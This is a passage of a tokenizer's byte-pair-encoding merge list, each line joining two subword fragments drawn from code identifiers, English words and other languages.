ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +le ave +Ġsmart phone +g ie +Ġcons pir +Ġt utorial +ç± » +Ġc ab +ĠSum mary +* ĊĊ +ä h +" This +Ġsl ides +" +c ycle +ĠB ull +path s +Ġun p +Ġview DidLoad +_M odel +Ġassert True +Ġr ated +De cl +vert ed +ĠD at +b rew +Ġpoint ing +M s +ĠPoint er +) ' +_n on +ĠSE C +Ġy eah +g ency +initial ize +f ly +[ pos +, g +Te le +Ġj oke +Ġcl ause +.find ById +en es +( instance + £ +Ġs lic +_h ome +Ġ*/ }Ċ +_p ages +(s ervice +R P +ĠAm ong +.get Current +ãĤ ¹ +Ġs lee += [Ċ +ol er +Ġlib ert +Ġ` Ċ +Ġw enn +l ated +Ġimm une +( Node +ĠPro blem +ĠA bs +log s +Ġ ../ +ĠA DC +Ġ}} ">Ċ +> ');Ċ += b +ĠW ind +lah oma +Ġalloc ate +or ian +Ġpres cription +- quality +ĠMay or +in ely +end foreach +ĠCom plex +k om +T Y +] ]. +. Style +_m any +',' $ +Ġbar rier +ĠF etch +ĠMar vel +Ġres ist +ог о +b idden +ĠRun nable +: false +Ġbuild s +ĠSt age +Ġd ub +emp o +.s ite +;ĊĊ ĊĊ +ĠDen ver +Ġre vel +Ġtrigger ed +Ġd ice +_f ail +Ġg c +ĉ X +ĠTh rowable +.r outer +ĠRev olution +ÑĢ Ð° +_N ON +Ł ¥ +Ġel der +Ġab road +ĠÐ µ +ĠAd ult +bl r +g lyphicon +Ġprom oting +Ġ iz +ĠS olid +_lo ader +ear ly +.en abled +- edit +ĠU L +_ play +ĠInt errupt +Ġadvant ages +uc le +Ġmechan ical +.table LayoutPanel +ĠWork ing +Ġan onymous +R ating +ig ious +_ph one +.addAction Listener +Ġfr an +und en +Ġ*) & +_ bool +ul ative +Ġcon e +ĠM ult +Ġm ö +ĠFor ward +] ):Ċ +Ġconvin ced +act ed +ãģ ĵ +ĠConfig ure +Ġce iling +D er +Ġpass engers +Group s +Ġsoc cer +/ W +avi ors +sw ith +ĠZ one +. Options +ĠM om +ied er +Array s +Ġtreat ments +Ġprotect ing +f ac +Ġpick le +Button Item +Ġblock ing +str ar +à ² +ĠEx port +Ġth rew +ott a +ĠB ASE +.w s +.LE ADING +order By +_d elay +ĠP u +.d ll +ĠCh oose +Pol ice +ĠBE GIN +box es +Ġdiam ond +, l +Ġ ĉĉĉ +Ġcur ious +t v +Ġerot ische +ack ages +ĉ Set +T ick +.b order +static method +Ġch er +in voice +Ġcr u +Ġdef ect +_m etadata +re lation +ik an +[ N +(Q t +( Base +æģ ¯ +be at +ĠEm pty +ĉ o +_sh ift +Ġreg ret +Th ose +C ent +ĠPort ug +ĠIs lands +ĠT IME +Man agement +-s p +ê me +Ġnot ion +un ifu +P K +è¡ Į +ĠCUR LOPT +\" \ +U V +ç º +d ra +c ou += ` +ĠD estroy +r p +.c ancel +G G +r untime +ĠV ue +Ġprogress ive +/s ervices +Ġrun ner +_FR AME +.ToolStrip MenuItem +Ġ' ,' +d elay += utf +Ġscreen ing +Ġpull ing +om as +Ġan th +- new +/ local +Ġi Pad +Ġt witter +Ġd ying +Ġhe aven +ĠU Int +ĠSen ator +Ġpres um +ĠWalk er +Ġover come +ete ction +Ġemb arrass +Ch ina +In clude +RO LL +Ġdata Type +D avid +ภ£ +lo p +-m onth +Ġsc ar +ĠS afe +Ġ **************************************************************** +Ġaccess ories +Ġr amp +_U SE +Ġcontr ad +)) ]Ċ +Ġpre st +ĠH R +ĠR ap +Ġus ize +Ġcap ability +Ġc ort +- next +Ġbur den +_read er +Ġ@ @ +reg ular +ĠK a +M AN +Ġa str +Ġ' ')Ċ +Ġf ed +Ġpars ing +ĠY ears +Ġbro ker +": {" +Ġa kt +In ventory +abe led +Ġarg parse +****** *Ċ +vers ation +Ġc ord +ĠT i +Ġhope fully +Ġa h +ver b +Ġst olen +. Entry +Ġexpect ing +O rientation +Ġpower ed +Ġp ersist +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +'] ); +')) ,Ċ +ĠC ash +ĉ item +gr ades +rop ol +b asic +Ġ" );čĊ +Ġaw ards +(r ange +- all +ĠIB Outlet +ĠInd eed +---------------------------------------------------------------- ------------ +Ġstom ach +Ġfl ower +Ġs ew +_t imes +av is +Q String +ĠR outes +_pro t +Ġcom edy +Ġlog out +Ġwood en +Ġpost er +p iece +.J oin +ĠP ok +cel ona +mut ex +;čĊ čĊčĊ +Ġstri kes +Load ed +) arg +es a +Un ited +E p +PE LL +ĠAtl antic +ul let +app le +Ġsett led +a con +Ġprint er +ĠG C +å® ļ +Ġrender ed +, âĢĻ +he it +s ocial +. ge +ĠR ick +ĠUt ah +g ot +on ical +ĠSc roll +ĠSc iences +Ġj ug +Ġam pl +ent i +LE FT +Ġt abs +Ġenorm ous +.get Key +loc ate +. EX +.st orage +.W e +Ġto ast +ĠAdd itionally +ĠN OW +_ UPDATE +Ġtrans ferred +th a +.D isplay +_ ui +ID EO +Ġmeaning ful +ĠMos cow +, this +ĠVict oria +æĶ ¹ +ĠÐ Ł +.st ack +ĠB arn +pared Statement +: string +Ġb ij +ĠST ATE +Ġemploy ers +ĉ input +( | +Ġle x +in voke +ĉ num +++ , +at ial +ors es +Ġfor k +_t xt +ĠAnton io +Ġ( < +aver se +Ġdev ast +ãĢ Ģ +.D ec +ĠG ard +/ ui +. % +tr i +Ġrol led +Value Pair +itt en +ĠTh er +Ġv rou +ĠFl ow +ĠFin ance +ĠCom b +H C +.set Visible +is l +Ġp k +Ġup set +( raw +ĠV ice +e atures +ĠL ang +Look ing +ĠA ST +Ġtri ps +ĠJust in +b rowser +=" '.$ +. vertices +- co +}/ { +Ġ? , +ĠD omin +ĠBel g +" < +Ġsup pose +add y +Ġwalk s +ERR U +_f ilters +Pre ferred +sc ene +е Ñģ +ĠAff airs +Ġ"# { +Ġon Submit +Ġstock s +/ view +g ree +- get +h it +J o +.get C +Initial ized +ÑĤ и +c uts +( Type +ĠAg reement +ĠViet nam +Ġ/* ! +Ġp izza +- view +_ em +Ġl hs +Ġm uy +ĠId ent +ĠF riends +Ġab und +_A D +.t imestamp +- ' +Ġd uplicate +Ġhun ting +Ġregul atory +ia o +am ous +ĠEnt ertainment +[ A +iat ric +_CL IENT +ĠK ids +/p kg +B reak +)) );ĊĊ +ĠSh ape +Ġrel ating +Int errupt +able Opacity +emb re +Ġmyst ery +Ġjournal ists +rit able +.L ink +Ġstop ping +CRE T +.D B +Ġpopular ity +Ġg ew +Ġim pr +set Value +FL AG +ĉm ax +Ġb ake +w y +ĠEcon omic +Ġen contr +Ġf name +/ de +R ank +Ġbug s +.s m +Ġmed ian +D OWN +ĠS ure +At Index +ĠD ick +Ġ( __ +.d elta +F r +Ġsuggest ing +ĠRec yclerView +, e +ST ART +/************************************************************************ **** +xf ord +Ġrece ipt +CL AIM +read only +Ġeng aging +C a +as ma +Ġens uring +Eng lish +ĠV ancouver +hy th +Ġpurch asing +ĠP I +. word +(s p +.h ome +: def +Ġg ig +ĠV e +for um +ĠM itch +B ay +_F L +Ġs oll +_column s +Ġminor ity +b ird +Ġhand ed +SS L +ST AT +Ġnerv ous +ĥ ½ +Ġfile Path +CRE ATE +A w +Ġp ens +se ed +ĠCom pute +ol k +ĠAs set +re ach +'), čĊ +n avigation +L F +/ util +ĠP ub +Ġâ Ķ +c ion +## Ċ +II I +Tag Name +Ġam id +per mission +if iable +xFFFF FFFF +н и +.B uffer +_ irq +d ark +Ġret val +.f ire +produ ction +.list en +ĠWe ather +Ġbuy ers +. ne +er p +ĠP ent +Ġw elfare +Ġpage Size +ĠSt adium +ert a +Ġle v +amp a +P ager +Ġcharg ing +ĠNet flix +| null +_r andom +.x path +Ġst ere +ĠIS IS +pons es +( loc +ey ond +ĠOff icial +ĠMary land +Data Type +_p ar +{ }, +ĠEn joy +_SH IFT +ĠA wards +_ENT RY +Ġseem ingly +entic ate +Ġheart s +_ ;ĊĊ +ĠH IV +Ġindiv id +ĠFl ag +_ ctrl +ĠC allback +, z +ĠG PU +ĉ obj +ĠPh oenix +ĠB US +Ġrub ber +_A UTH +ĠSol utions +( location +Variable s +.set Enabled +_h igh +W O +G esture +Ġre try +Ġobject ForKey +allow een +Ġm os +ĠC ele +Ġik ke +(c ell +ĠM ODE +ren a +Ġdescri bing +Ġph i +Ġr d +Ġdes erve +Ġwhe els +å¸ Ĥ +Ġcrit ics +N amespace +ĠF ra +Ġ ĊĊĊĊ +Ġall a +Ġrequ iring +æľ Ł +ut ation +Ġdelay ed +Ġadministr ative +Ġb ay +.h idden +T ex +Ġbound aries +Ġ] );ĊĊ +ĠFollow ing +~ / +F i +_con v +_T ITLE +Ġdes de +ICollection View +Ali as +Ġb ite +pat ient +_COMM AND +Com pleted +ĉ elif +( < +B usiness +ĠP ool +Ġpurs ue +ĠB an +_st eps +_DE CL +um ble +Ġcom bo +ĠL ayer +.x r +Ġd up +-------- - +Ġmod ifier +ro b +re z +Ġath letes +Us ed +w ear +Ġlegit imate +Ġ" ĊĊ +Ġh v +St d +ĠH old +Ġsurv iv +ĠAll iance +ĠEar ly +Beh avior +(f ont +/lib s +Ġrect angle +Ġs inger +Ġam p +Equal To +Ġ" ." +Ġgirl friend +å ± +line ar +obs erv +Ġpi ù +Ġcomple ment +With Value +(p assword +t ake +Bl ank +ĠCom par +' ", +_p olicy +m ongoose +_FA ILED +.re port +R atio +.Perform Layout +us able +m ers +_re nder +PE ED +Ġles b +ĉ E +_t ool +Ġl adies +о Ñģ +)) ))Ċ +;; ;; +.d ot +Ġn est +pe ak +uk kit +ec a +_S W +Ġ& ( +ĠOk lahoma +Ġbank ing +ĠN intendo +Ġreprodu ce +_element s +_m ac +pro xy +Ġremark able +}/ ${ +Ġout s +.has Next +M ODE +Ġan ime +.con n +Un ique +D om +Ġimportant ly +itt y +Ġju ice +T w +ĠPart ners +Ġattack ing +Ġport able +am iento +.P ictureBox +.g en +Ġopt imal +Ġre cre +Ġjournal ist +ĠEx tract +ĠMore over +Ġmargin Top +.A p +Ġf iring +Na N +ĉ template +аР´ +. En +Ġdef ence +ĠT el +il en +j an += data +ĠU rl +ĠRe uters +(t otal +ĠFif th +Ġess ays +Ġinterpret ation +Ġchar ity +ĠR ules +Ġsub section +st yled +az er +l ags +L IST +Ġupload ed +Ġtr ash +Ġreg istr +Ġsell er +>' ;čĊ +Ġstart Time +ç Ļ +s y +(Http ServletRequest +Ġtr ap +G C +Ġembed ded +Ġsurround ed +im its +T X +yl inder +ĠF al +Ġsent ences +ĠJ a +IF ICATION +we apon +ov ation +Ġco at +Ġinter pol +Ġl ips +ĠK y +Ġv ectors +_ am +Ġint ake +.w orld +Ġin box +ĠM AC +_ ab +(name of +Ġent ert +Ġgather ing +ĠS IM +++ . +ny a +' }} +ĠUP DATE +Ġp ac +( html +ĠS ant +i ating +ĠIde as +Ġspr ay +ĠH art +Ġver ification +ades h +/ modules +ĠM ind +ĠSized Box +Ġsh elter +Ġher oes +att y +Ġcert ified +s j +Ġê tre +ÅĤ o +Ġpublish ing +ĠMal ays +.get User +ĠPro vider +ĠLinked List +ĠB or +RO UND +d id +t ain +p ire +ĠJ enn +t el +and e +_f ront +ĠMc G +Test Method +à¸ Ń +Ġoccasion ally +ĠW ales +Ġexerc ises +ĠÐ Ĵ +- plus +Ġvalid ator +Ġpr ayer +L ATED +_ author +Ġlab our +++ Ċ +-e quiv +ĠG PL +Ġface book +s imple +g ly +Process or +ip y +Ġ* > +Ġcle ared +ĠP ush +Ġpen is +Struct ure +li j +ĠM organ +Ġhand ful +" .Ċ +| \ +Ġ ******************************** +ĠA qu +_ IC +.load s +Ġm eter +ĠMar ine +:: { +ĠT S +ĠArray s +.T itle +GR AM +ter min +Ġco inc +El se +_st ates +-r un +m embers +ast ro +Ġon Press +Ġbe ings +Ġabandon ed +Ġtax p +own ers +.m ode +Ġdiagn osis +Ġ_ Ċ +ĠK night +ĉ A +Ġob serve +), ' +! ")Ċ +ĠPar a +Ġvari ation +( False +ĠAnt i +Ġg ri +Ġhome less +? v +Ġbe z +.S erver +re lease +ĠP atri +Ġchar s +Ġrank ing +activ ation +Ġw ides +q r +.S ql +ac ular +ĠB ot +_s ync +Ġhapp iness +Ġvolunte ers +Ġs its +/ < +[ e +(file Name +Ġcap ac +ĠMar ia +f ather +Ġgr am +* i +Ġcas o +_d raw +ĠR aw +ĠIter ator +ĠP adding +P D +BO X +ĠS PECIAL +Ġfe cha +Ġv ide +ĠLe ader +ä» ¥ +$ (". +Ġdiam eter +Ġm ild +Ġrock s +app ings +d irectory +.fl ush +ĠJ ess +UN IT +ĠP ear +Ġmand atory +S ur +q t +Ġstream s +Ġco operation +ĠS ac +Ġche aper +ĉ ch +an imation +f are +( height +( True +N Y +Ġw rest +Ġpoll s +Ġencounter ed +ĠMarket able +_P ASSWORD +_SE LECT +ĠArab ia +_c lock +Ġv oy +Ġи з +Ġst ir +is ible +-e ffect +.c reated +Ġto ys +ĠTrad able +Ġr ust +Ġstr cpy +_t imestamp +Ġtalent ed +, null +ĠJ obs +ĠPort land +Ġweak ness +Th row +ĠAng el +ä¿ ® +Ġun cert +ï¼ī Ċ +ĠìĿ ´ +Wh ich +Ġ[- ]: +S omething +Ġconv icted +k le +ed ium +Ġbranch es +Ġb ases +ç ® +Ġcomplex ity +ĠF ig +. reshape +$ db +_CON ST +ĠT es +.r untime +Ġden y +ĠB SD +Ġk r +h att +ĠSt atic +Ġunivers ities +Re place +Ġdro ve +Ġad oles +_pl ugin +ĠL GBT +Ġt ex +du ction +ED I +ĠT ed +_ URI +Ġre ception +art en +.S ingle +r ice +sc ious +_b g +Ġw ages +ĠS ervlet +UIL ayout +Ġform atted +.M od +< class +is en +Ġrepresent atives +"] = +Ġport al +ĠHun ter +Ġh iring +__ )Ċ +ric ulum +u o +li est +Ġt ears +L at +Ġliter al +.In sert +Ġc urs +ĠCom put +Ġterror ism +Ġswe ep +Ġ[] čĊ +Ġpass enger +Ġeast ern +Ġtwe ets +Ġoper ated +w nd +ĠS yn +.t ools +ĠW M +ul ates +Ġbacter ia +( bytes +.set Data +Ġvis ibility +// ================================================================ +el m +Ġgener ating +Ġm v +Ġk h +j en +/ search +Ġaccount ing +se gment +act ic +. ip +Ġdeploy ment +Ġfoot er +> ',Ċ +Ġexpand ing +ĠHam ilton +ĠCon trib +.T ables +Act iv +H H +ocom merce +_ ; +Ġamong st +ow ing +ĠC old +AP H +Ġpsych ological +_t ensor +Ġpack aging +ĠSw eden +Ġp are +Ġag gregate +Ġmoder ate +_h and +Ġdesign ated +Ġdr um +Ġget User +ĠC reek +_s cope +ĠTrans fer +ĠM arg +Ġfight ers +W nd +ĠS el +ĠLa unch +Ġemerg ing +if rame +ĠAdd itional +Ġf ears +Ġsat ellite +_ : +Ġdis posing +Get Value +Http Post +AT IVE +ul ary +View s +Ġatt ending +ĠT ennessee +ĠM ission +Ġmedic ation +ĠW y +ĠAn na +Ø ¹ +ĠVert ex +.t ypes +O rgan +.DataGridView TextBoxColumn +ĠR S +Ġtemp o +( App +Version UID +.p oint +ĠD utch +H ours +L U +Ġqu oted +.b uilder +ĠPer fect +ĠAl ways +_t wo +Ġexclus ively +ĠC ra +ific ar +ĠA WS +ing ham +com plex +k ernel +Ġgr avity +Ġw i +Ġover view +ĠW ant +ĠW P +( sh +. rotation +St ates +ĠTe en +_com ponents +ì Īĺ +Re ceived +Ġly rics +rit es +ĉĉĉĉĉ Ġ +-A merican +[ num +/ python +ĠU ART +Ġapp le +ĠJon athan +Ġmoment um +ภ± +Ĥ ¹ +Ġm ich +and ra +Ġbi ological +ĠM ens +Ġ% % +else a +ĠMex ican +.rand int +Ġt ale +ĠValid ate +Ġdefe ated +.ht m +Ġcop per += / +cos ystem +Ġr ip +dec imal +.V ISIBLE +ĠT a +ĉĉĉĉĉĉĉĉ ĉĉĉĉĉĉ +Ġdownload ed +en vironment +Ġnom ine +build ing +ĠSp ot +ipher al +Ġal to +qu et +ĠF T +/ get +/m aster +W IN +åħ ĥ +W est +arg c +Ġprodu cers +ĠM uch +_st orage +cred it +CON T +Ġv et +Ġvo ices +(' ', +Ġinstr uments +ĠM SG +es se +re pository +om ics +Ġdeal er +St ill +Ġb anner +asc ii +Ġrem arks +[ js +Ġshort er +g ulp +Ġmyst er +Ġk un +ĠB ird +Ġti ene +n ut +ĠU m +Ġw ise +Y eah +INE SS +_b egin +- heading +C ourse +Ġ čĊčĊ +omb ie +grad ed +ĠG PS +Ġ że +F it +c aption +ö n +/ image +l ia +(m od +Ġle ak +en za +/ H +ĠH appy +D ist +n x +ĠGovern or +(l ast +te acher +ĠS ent +s upport +ject ory +Ġ Ùħ +Reg istration +ĠGr ay +, false +Ġadjust ed +( settings +< R +ĠM age +Ġpl aint +_ )Ċ +ĉ it +omet ric +. bootstrap +Ġcar ries +I p +Ġ! $ +Ġswim ming +ĠMar io +ĠQuest ions +P ACE +æĸ ¹ +e or +}} " +Ġo ven +ĠK on +Ġwis dom +Ġac quisition +ess ment +ag ine +Ġexpress ions +Sequential Group +F ront +ul pt +aw k +'] )ĊĊ +_ AR +Ġanal og +ul in +_PR INT +ĠL G +Ġb lob +ĠFurther more +_com ponent +ĠC ole +L AN +SCRI PTION +Ġl ap +icens ing +_TIME OUT +ĠF ro +Ġli ability +Ġcom posed +.create SequentialGroup +_p erson +Ġbe am +ĉ ĠĠĠĠĠĠĠĠ +ĠNot Found +. 'Ċ +ÃŃ s +.Text View +P DF +Ġk ar +__ (' +Ġ" :" +_m essages +Ġhar vest +.h istory +> 'Ċ +-f old +æ Ĭ +ĠBet ter +Ġ"\ < +sp acing +Ġfurn ished +os er +] }Ċ +Ġ$ " +p ull +.P ost +( ip +Ĺ ı +.f ront +nt e +ĠF M +g uid +Ġnegot iations +agon al +Ġtrem end +unge on +Ad v +car ousel +ÃŁ e +_DE SC +Ġham mer +áº Ń +ĠĠĠĠĠĠĠĠ ĊĊ +-c ore +-s ervice +Ġcorn ers +ĠS F +p red +> A +ĠJ Label +Ġrom antic +Ġtestim ony +os c +ĠGener ation +as ures +_int ernal +Ġprint s +Ġ] )Ċ +ĠC leveland +re po +D isc +Ġ" >Ċ +�� �� +Ġne arest +_t b +( require +EO F +- child +Ġbu dd +.Xtra Editors +alt ies +\": \" +W ords +Ġloc ally +Ġpurch ases +Draw er +ex tract +Ġexec ut +} '. +user data +Ġfocus es +-min ute +ĠP ublish +og o +Ġmount ains +B ot +} >{ +Ġt ension +ro d +m esh +Ġtransform ed +, R +() }Ċ +.l ong +Ġg orgeous +ĠS chedule +Ġol dest +Ġsub process +( IN +y ect +ĠCo oper +arn ess +ĠMon itor +.p art +ĠN BC +Ġc otton +Ġh ol +Ġrg ba +ĠB io +Cont inue +P od +Ġparticip ating +clus ions +(By Val +à ¬ +ĠH OW +_set opt +Ġaccompany ing +at on +Ġ/ \ +ĠAuth entication +i én +ĠBar ack +/* . +Ġe ager +ĠC ancel +< lemma +ep h +ĉ window +Ġinc idents +), ( +.D es +ib e +ĠFunction s +Ġhosp itals +Ġo xygen +root Scope +Ġd rew +ĉ request +not ice +ak u +am ents +f ar +Ġprec ise +_w rapper +Ġlisten ers +A Z +.b ounds +ĠA verage +field set +_ axis +Ġexam ination +' .Ċ +mon s +++) {čĊ +ĠForm s +íķ ľ +Cpp Method +_tr ace +Ġengine er +ĠFl at +Ġrev ision +Ġhe ating +/ profile +.r u +p riority +Ġin fer +_ST REAM +Ġ* )( +> $ +OLE AN +OK IE +IB ILITY +U AGE +ĠSur vey +Ġres ign +w ing +Ġsecre ts +Ġch ips +JSON Object +Des ktop +_SY MBOL +(res ource +ĠĊ +Ġnew est +ul i +Ġdes ert +Ġd ip +ĠP ow +Ġequ ation +Ġposs ibilities +ĠF ed +os ph +Ġ[ % +Ġb ubble +ether lands +Ġc ement +. auto +_ AN +âĢĻ . +se lection +ĠB ond +D en +- O +.get Type +.W indow +p res +Ġsw inger +" })Ċ +Ġp ip +Ġm ice +Ġcomp ound +- plugin +ik o +Ġcent uries +ic ular +-in line +ĉ key +> \< +EN SION +Ġ[ čĊ +Ġprecis ely +Ġét é +ĠP ast +ĠCam bridge +-f ull +Ġanaly ze +ĠSte ven +Ġn em +d ue +ore n +Ġmus cles +ij ing +/ - +ĠKenn edy +R M +oss ible +Ġact ress +Ġd olor +å½ ķ +Ne ed +.t oggle +ĠR ace +w ers +.m aterial +ĠD ue +ĠP el +# print +Ġindepend ence +ex us +Sh adow +Ġenc oder +( level +ĠSw ift +.d oc +_se lection +Ġserial VersionUID +Label s +Ġperform ances +.T ag +ĠN HL +iz en +/ UIKit +_CONT ROL +Ġearn ings +ĠAl t +_H ANDLE +C tx +Ġpers u +Ġtr an +ç ¨ +_CH ANNEL +Ġsatisf action +ĠG P +io x +m itt +land o +Ġp ig +inal s +ê ncia +S urface +ĠU UID +Ġbenef icial +Ġsequ ences +ĉmem set +Ġmag ical + « +Ġw orn +AS C +pop up +COM P +_b efore +en ess +U i +L es +.re quire +.Serial izable +add Gap +Ġauthor ization +.py plot +urr ay +lat itude +fr ames +aj s +Ġcomp ass +Ġobserv ations +_s up +.en viron +Ġtri ple +ĠRub y +Ġdr ain +_F ILTER +S an +UM P +Null Exception +ĠG ab +ow e +ĠTurk ish +_se quence +ĠGr ant +uel a +Ġw o +Ġc ube +i q +Ġdis orders +Ġextra ordinary +Ġc trl +ĠSe q +ent r +Ġsan ctions +uts ch +Re ports +Ġin herit +Per iod +Ġphot ography +ĠF ramework +Ġspecial ist +Ġ? ĊĊ +_ selected +.P layer +Ġal location +( account +Ġstruct ural +v able +- offset +.App CompatActivity +аР¼ +.Add WithValue +Ġicon s +Ġshut down +_l ow +ĠCom pare +ĠC e += head +l am +.p redict +_DE C +ĠS leep +ĠGr atis +Ġsuggest ion +ĠD EL +ca ff +av irus +No thing +ŀ ĭ +Ġwides pread +Ġmechan isms +Ġtext Align +occ up +ĠR ail +: NS +Ġf iber +Ġm k +Ġv intage +-l ong +.re duce +. Entities +( record +Ġple asant +FR ING +.C ells +OT T +ĉelse if +_con firm +ĠView Group +s ym +Ġpr ay +Ġsus pected +Cont ains +Ġb orders +Ġcomponent Did +ASS ERT +Ġinf inite +- order +Ġh ello +ĠGr ade +.currentTime Millis +apol is +z h +ĉ Object +: \\ +H O +val uation +Ġvoc ab +Ġcou pon +atab ases +.Get Type +L earn +] =" +ĠG ary +ot ive +Ġas h +Ġb ib +XX XX +Ġbal anced +VAL UE +ĠN at +_A d +< E +åĮ º +ĠMethod Info +L IB +Ġconsider able +ĠInd ustry +test s +.set Title +ĠBl uetooth +Ġm apped +ĠBru ce +ĠMain Window +ĉ status +Ġr az +ĠM and +Ġclass ification +Per missions +Ġ---------------------------------------------------------------- ------------ +Ġcontain ers +: set +_x ml +Ġwh ilst +Th rough +Ġval ign +Ġworld s +C ORD +ED IA +ÑĢ Ð¾Ð² +Ġsp are +ĠH ad +ĠDE F +(p tr +Ġwarm ing +ठ¾ +Ġcons ensus +ag ne +CT L +Ġì ķ +.M ain +web Element +Ġp ist +Fl ash +App end +.tw img +T ap +Ġveget ables +al g +.s ample +Ġcoach ing +( ind +Cell Value +Check Box +ĠH ell +RO OT +Ġst adium +Ġinvestig ating +) % +st ed +ĠW riting +Ġê ² +Ġun o +Ġ{{ -- +Ġco ords +Ġun ser +organ ization +ĠCr ime +ĠDemocr at +Ġv in +/ file +- api +ĠA y +Ġfund ed +ĠBre xit +ĠG h +ent ina +c ases +Ġd ash +Ġ!! }Ċ +H I +Off ice +Ġcapt ain +Ġwor ship +\ C +Ġglo be +_ board +Ġbab ies +Ġconsec utive +Ġenh anced +ere um +ĠAd vis +Ġgr ain +Ġc raw +ancell ationToken +. alpha +_W ITH +ĠO tt +ĠC ool +.b atch +Ġver ified +(c allback +Ġreg ards +ĠInt Ptr +ouch er +Ġk in +Ġtou ched +it Ãł +ath on +Ġadj acent +Ġaccom panied +LE AR +Ġim plies +Ġh ill +ĠBalt imore +=" - +Fin ally +S am +ic opt +Ġs od +Ġm aj +ĠSh ipping +Ġget All +Ġcoach es +Ġdon ations +il ot +ĠT ar +c err +Ġbad ge +Ġmark ers +ĠR and +ais ed +iss ance +Ġexpl oring +uc ed +ĠIndones ia +Ġbene ath +Ġmagn etic +Ġm useum +match Condition +Ġdis rupt +Ġrem ind +ĠT M +Ġ/ >< +Ġf ool +Ġes k +.N ull +ĠD ies +_OUT PUT +_TYP ED +Ġpaint ed +Ġsoph istic +ĠB ear +* n +_P ACK +Ġdeliver ing +ĠC OUNT +åį ķ +Ġj eg +-c ar +f name +Ġr anging +ĠN eg +/ ******/ +ĠCH AR +Ġul tra +Gr ad += t +Ġjud ges +ĠD ise +ann ers +Ġsc al +_c al +ĠCON NECTION +_ embed +(f n +ĠC raft +ĠP as +") -> +.con vert +.res ource +ĠST ATUS +ô ng +ĠT it +Ġclass room +ĠArch itect +ĠK ings +Ġstead y +/* !Ċ +ĠG ene +) ";Ċ +ic ia +st an +ĠCon struction +um per +w c +ĠC BS +ing ing +-p arty +(d river +M ARK +Ġn ested +ew ard +Ġdepend ency +Ġm ales +ĠO NE +ĠProdu ction +][ $ +ãĥ¼ ãĥ +_LO AD +ĠB ol +el ry +ł éϤ +ĠRe quire +Ġpl acing +xx x +CA LE +Ġth umb +Ch oose +Ġprot otype +VO ID +Ġles bian +Ġtra its +Sh arp +Ġconsum e +Tr uth +Ġaction Performed +ĠEnvironment al +ĠDe an +Ġest ado +s ame +Ġnumer ic +Ġtrans it +. Email +-s ide +_R UN +ĠVill age +_OP EN +è ¦ +.re m +-w arning +any a +Property Changed +Ġ(! _ +( check +il ia +ĠSo ft +st eps +ĠMad rid +Memory Warning +Ġhand lers +Ġexperi encing +Ġins pect +button s +Receive MemoryWarning +chem y +Link s +Ġur llib +.System Colors +ĠE igen +Ġpun ishment +:UI Control +bar a +- set +Ġ}čĊčĊ čĊ +Ġtoler ance +Ġinter faces +. redirect +ighb ors +cs rf +_back ground +. Utils +_H T +ĠInter est +im os +Ġgr ants +Ġexam ined +Ð Ķ +Ġc f +for ge +back s +ĠObject s +_s ent +. entry +ĠTH EN +ell ido +c ia +, res +/std c +. nd +( Int +ĠAuth ors +ĠApp CompatActivity +' { +Ġmed i +M usic +ig m +ce ipt +Ġa uss +Ġtarget ing +ĠKe ys +h n +: ]Ċ +Ġmin eral +à ® +.c a +om ed +Ġshe ets +Ġc amb +Ġdead ly +.in ject +( unit +ĠSe lection +.g ms +( connection +Ġ$ (" +é mon +ĠCurrent ly +pt e +_path s +le af +Ġimp lications +pos al +ä½ į +[ / +anc ia +é Ľ +m ul +c ie +Ġge ile +im als +UI View +Ġs urre +serial ize +IS O +Ġarbit rary +Ġsock addr +.f n +ĠM erc +Ġcast ing +Key Down +Ġnew Value +op ens +T odo +Ġflex ibility +ĉĉĉĉ ĠĠ +V elocity +ú n +row ing +Ġcomput ed +` )Ċ +st atement +Ġr i +_c art +L ow +trans fer +.n av +Ġgr ave +ĠDo or +ĉ alert +.sub scribe +- profile +ĉb ase +ĠâĪ Ĵ +__ ĊĊ +Ġengine ers +Ġexplos ion +Ġd ari +ĉ Log +on al +Ġisol ated +{ i +ĠM sg +F uture +Ġrac ist +-w rap +ĠV ers +b org +IS ION +Ġ ÑĢаР+ĠY an +init With +Ġn omin +( empty +ÃŃ n +ãĤ ¤ +ĉ width +Ġch amber +/ ajax +EM P +Ġnec es +iv os +log ic +*) & +cript s +Row At +ib lings +Ġe ars +Ġcomput ing +Ġm aker +ĠNe ither +b readcrumb +Ġserial ize +ĠWith in +Ġd ell +_TR ACE += a +Ġwish es +-in ch +ĠD or +Ġinnoc ent +ĠD ol +Ġint ens +for ced +ĠB IT +Ġphotograph s +Ġcas a +ĠL en +\F ramework +.S imple +Ġde ar +)/ ( +ip pi +Ġown s +Pl ayers +Ġpropos als +.p i +us alem +D amage +Ġcal ories +ĠCreat ive +Ġ[ $ +Ġ// čĊ +And View +è me +.c ustom +_f actory +command s +_lo ok +Ġstr cmp +Y N +a ired +Ġaud it +о ÑģÑĤ +ĠRe verse +ropri ate +et ics +< vector +.s elenium +. or +Ġpred icate +Ġfinish ing +Ġk le +ĠRep os +ĠK han +ĠM aking +ĠF S +Ġp ute +ĉ state +_S UPPORT +' - +orient ation +Ġexist ed +atur a +Ġexpect s +ĠSh adow +Ġorgan iz +å ŀĭ +Ġsusp ension +Ġu it +Ġsimult aneously +ĠAff ero +: ");Ċ +Ġro cket +c as +eter mine +ace ut +x l +ĠA MD +( graph +ass oci +_C R +.ar ange +(j Label +Ġbe ef +Qu ick +.c ard +] ): +- gr +.G ONE +_C LOSE +ĠNe v +ÃŃ as +Ġste pped +ĠFre edom +ĠW R +NS Array +_r x +_d ialog +Ġhot els +Ġ( \< +ĠD iamond +Ġassum ption +um i +( items +č ččĊ +æ³ ķ +Ġn el +Book s +åİ ¿ +us b +ĠF IN +æ ¬ +Ġcorpor ations +US A +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +.p roperty +ew ise +_ plot +"> ';Ċ +Ġpe pper +Ġsh ed +ĠMed ium +ĠC ookie +Ġoverse as +ed or +asure ment +åŃ ĺ +Ġ' .' +Ġph p +ĠPRO C +Ġexception al +( th +ĠJ et +Ġoccup ied +.set Image +ĠRel ated +uck er +M embers +PR INT 